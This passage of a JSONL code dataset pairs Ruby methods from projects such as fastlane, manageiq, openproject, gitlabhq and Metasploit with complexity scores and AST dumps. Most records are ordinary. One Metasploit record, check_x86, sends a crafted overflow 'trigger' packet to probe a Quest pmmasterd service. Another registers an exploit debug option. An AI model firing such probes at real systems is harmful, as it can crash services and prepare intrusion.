end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage_configs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"usage\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"usage\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^[a-zA-Z][-_.a-zA-Z0-9]*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Argument in <storage ARG> uses invalid characters: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"usage\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_storages\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"duplicated storages configured: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"usage\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"storage\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Plugin\"]},\"new_storage\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"@type\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"configure\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"corresponding_config_element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_storages\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"usage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StorageState\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"wrap_instance\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"ef449383-b613-4924-b76f-73f2e4ac8645"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/credentials_manager/lib/credentials_manager/cli.rb","start_line":10,"raw_source":"def run\n      program :name, 'CredentialsManager'\n      program :version, Fastlane::VERSION\n      program :description, 'Manage credentials for fastlane tools.'\n\n      global_option('--env STRING[,STRING2]', String, 'Add environment(s) to use with `dotenv`')\n\n      # Command to add entry to Keychain\n      command :add do |c|\n        c.syntax = 'fastlane fastlane-credentials add'\n        c.description = 'Adds a fastlane credential to the keychain.'\n\n        c.option('--username username', String, 'Username to add.')\n        c.option('--password password', String, 'Password to add.')\n\n        c.action do |args, options|\n          username = options.username || ask('Username: ')\n          password = options.password || ask('Password: ') { |q| q.echo = '*' }\n\n          add(username, password)\n\n          puts(\"Credential #{username}:#{'*' * password.length} added to keychain.\")\n        end\n      end\n\n      # Command to remove credential from Keychain\n      command :remove do |c|\n        c.syntax = 'fastlane fastlane-credentials remove'\n        c.description = 'Removes a fastlane credential from the keychain.'\n\n        c.option('--username username', String, 'Username to remove.')\n\n        c.action do |args, options|\n          username = options.username || ask('Username: ')\n\n          remove(username)\n        end\n      end\n\n      run!\n    end","complexity_score":50.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"CredentialsManager\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"VERSION\"]}]},{\"type\":\"send\",\"children\":[null,\"program\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Manage credentials for fastlane tools.\"]}]},{\"type\":\"send\",\"children\":[null,\"global_option\",{\"type\":\"str\",\"children\":[\"--env STRING[,STRING2]\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"str\",\"children\":[\"Add environment(s) to use with `dotenv`\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"sym\",\"children\":[\"add\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"syntax=\",{\"type\":\"str\",\"children\":[\"fastlane fastlane-credentials add\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description=\",{\"type\":\"str\",\"children\":[\"Adds a fastlane credential to the keychain.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"option\",{\"type\":\"str\",\"children\":[\"--username username\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"str\",\"children\":[\"Username to add.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"option\",{\"type\":\"str\",\"children\":[\"--password password\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"str\",\"children\":[\"Password to add.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"action\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"username\"]},{\"type\":\"send\",\"children\":[null,\"ask\",{\"type\":\"str\",\"children\":[\"Username: \"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"password\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ask\",{\"type\":\"str\",\"children\":[\"Password: \"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"q\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"q\"]},\"echo=\",{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credential \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"length\"]}]}]},{\"type\":\"str\",\"children\":[\" added to keychain.\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command\",{\"type\":\"sym\",\"children\":[\"remove\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"syntax=\",{\"type\":\"str\",\"children\":[\"fastlane fastlane-credentials remove\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"description=\",{\"type\":\"str\",\"children\":[\"Removes a fastlane credential from the keychain.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"option\",{\"type\":\"str\",\"children\":[\"--username username\"]},{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"str\",\"children\":[\"Username to remove.\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"action\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"username\"]},{\"type\":\"send\",\"children\":[null,\"ask\",{\"type\":\"str\",\"children\":[\"Username: \"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run!\"]}]}]}","id":"cf53f3ad-8f78-4f6f-adec-ef3674b9dd57"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":143,"raw_source":"def queue_generate_table(options = {})\n    options[:userid] ||= \"system\"\n    options[:mode] ||= \"async\"\n    options[:report_source] ||= \"Requested by user\"\n\n    sync = options.delete(:report_sync) || ::Settings.product.report_sync\n\n    task = MiqTask.create(:name => \"Generate Report: '#{name}'\", :userid => options[:userid])\n\n    report_result = MiqReportResult.create(\n      :name          => title,\n      :userid        => options[:userid],\n      :report_source => options[:report_source],\n      :db            => db,\n      :miq_report_id => id,\n      :miq_task_id   => task.id\n    )\n\n    AuditEvent.success(\n      :event        => \"generate_table\",\n      :target_class => self.class.base_class.name,\n      :target_id    => id,\n      :userid       => options[:userid],\n      :message      => \"#{task.name}, successfully initiated\"\n    )\n\n    task.update_status(\"Queued\", \"Ok\", \"Task has been queued\")\n\n    if sync\n      _async_generate_table(task.id, options)\n    else\n      MiqQueue.submit_job(\n        :service     => \"reporting\",\n        :class_name  => self.class.name,\n        :instance_id => id,\n        :method_name => \"_async_generate_table\",\n        :args        => [task.id, options],\n        :msg_timeout => queue_timeout\n      )\n    end\n\n    report_result.id\n  end","complexity_score":42.1,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_generate_table\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]},{\"type\":\"str\",\"children\":[\"system\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"mode\"]}]},{\"type\":\"str\",\"children\":[\"async\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"report_source\"]}]},{\"type\":\"str\",\"children\":[\"Requested by user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sync\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"report_sync\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"product\"]},\"report_sync\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"task\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Generate Report: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"report_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqReportResult\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"report_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"report_source\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"send\",\"children\":[null,\"db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_report_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_task_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditEvent\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"str\",\"children\":[\"generate_table\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"userid\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", successfully initiated\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"update_status\",{\"type\":\"str\",\"children\":[\"Queued\"]},{\"type\":\"str\",\"children\":[\"Ok\"]},{\"type\":\"str\",\"children\":[\"Task has been queued\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync\"]},{\"type\":\"send\",\"children\":[null,\"_async_generate_table\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"submit_job\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"str\",\"children\":[\"reporting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"_async_generate_table\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg_timeout\"]},{\"type\":\"send\",\"children\":[null,\"queue_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_result\"]},\"id\"]}]}]}","id":"2f3ffc92-b576-43c6-aabf-44e5cc4320a0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/resolver.rb","start_line":460,"raw_source":"def resolve_via_black_hole(upstream_resolver, packet, type, cls)\n      # do not just return nil because that will cause the next resolver to be used\n      @logger.info \"No response from upstream resolvers: black-hole\"\n      raise NoResponseError\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_via_black_hole\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upstream_resolver\"]},{\"type\":\"arg\",\"children\":[\"packet\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"cls\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"No response from upstream resolvers: black-hole\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NoResponseError\"]}]}]}]}","id":"d0bdeb18-23d1-4e2a-8d72-0a3810056c27"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http_server/browser_exploit.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super\n    register_advanced_options(\n      [\n        OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),\n      ], Exploit::Remote::HttpServer::BrowserExploit\n    )\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEBUG_EXPLOIT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Show debug information during exploitation\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"Remote\"]},\"HttpServer\"]},\"BrowserExploit\"]}]}]}]}","id":"d86f8fca-a792-4fd4-8b5b-b3e0c6e53169"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/relocation.rb","start_line":8,"raw_source":"def live_migrate(options = {})\n    raw_live_migrate(options)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"live_migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raw_live_migrate\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"c0821be8-fde2-4163-97b8-83039456620d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/projects/copy_contract.rb","start_line":41,"raw_source":"def validate_user_allowed_to_manage\n      errors.add :base, :error_unauthorized unless user.allowed_in_project?(:copy_projects, options[:copy_source])\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_user_allowed_to_manage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"copy_projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"copy_source\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"error_unauthorized\"]}]}]}]}","id":"92fdb71b-0870-4a5a-b655-32afd230a69a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/quest_pmmasterd_bof.rb","start_line":133,"raw_source":"def check_x86\n    head = [ 0x26c ].pack(\"N\")\n    head << [ 0x700 ].pack(\"N\")\n    head << [ 0x700 ].pack(\"N\")\n    head << \"\\x00\" * 68\n\n    body = rand_text_alpha(3000)\n\n    request = head + body\n\n    connect\n    print_status(\"Sending trigger\")\n    sock.put(request)\n    begin\n      sock.timed_read(1024, 1)\n      return Exploit::CheckCode::Unknown\n    rescue ::Exception\n      return Exploit::CheckCode::Appears\n    end\n  end","complexity_score":22.75,"ast_json":"{\"type\":\"def\",\"children\":[\"check_x86\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"head\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[620]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1792]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1792]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"int\",\"children\":[68]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[3000]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending trigger\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"timed_read\",{\"type\":\"int\",\"children\":[1024]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},null]}]}]}]}","id":"e1a6a839-421e-4d10-a9fb-a1be9d3ac892"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/messages/message_builder.rb","start_line":99,"raw_source":"def process_email_content\n    return unless should_process_email_content?\n\n    @message.content_attributes ||= {}\n    email_attributes = build_email_attributes\n    @message.content_attributes[:email] = email_attributes\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_email_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_process_email_content?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"content_attributes\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"email_attributes\",{\"type\":\"send\",\"children\":[null,\"build_email_attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},\"content_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"email_attributes\"]}]}]}]}","id":"5d1348c1-74b0-42f5-a7fa-242864917512"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/components/grids/widget_box_component/row.rb","start_line":37,"raw_source":"def initialize(**system_arguments)\n        super()\n\n        @system_arguments = system_arguments\n        @system_arguments[:classes] = class_names(\n          \"op-widget-box--row\",\n          system_arguments[:classes]\n        )\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"system_arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@system_arguments\",{\"type\":\"lvar\",\"children\":[\"system_arguments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"classes\"]},{\"type\":\"send\",\"children\":[null,\"class_names\",{\"type\":\"str\",\"children\":[\"op-widget-box--row\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_arguments\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"classes\"]}]}]}]}]}]}","id":"4ab1caf3-06b9-4036-ba83-6464a4826d3f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3949,"raw_source":"def reload_project_namespace_details\n    return unless (previous_changes.keys & %w[description description_html cached_markdown_version]).any? && project_namespace.namespace_details.present?\n\n    project_namespace.namespace_details.reset\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reload_project_namespace_details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_changes\"]},\"keys\"]},\"&\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"description_html\"]},{\"type\":\"str\",\"children\":[\"cached_markdown_version\"]}]}]}]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_namespace\"]},\"namespace_details\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_namespace\"]},\"namespace_details\"]},\"reset\"]}]}]}","id":"036fb3f0-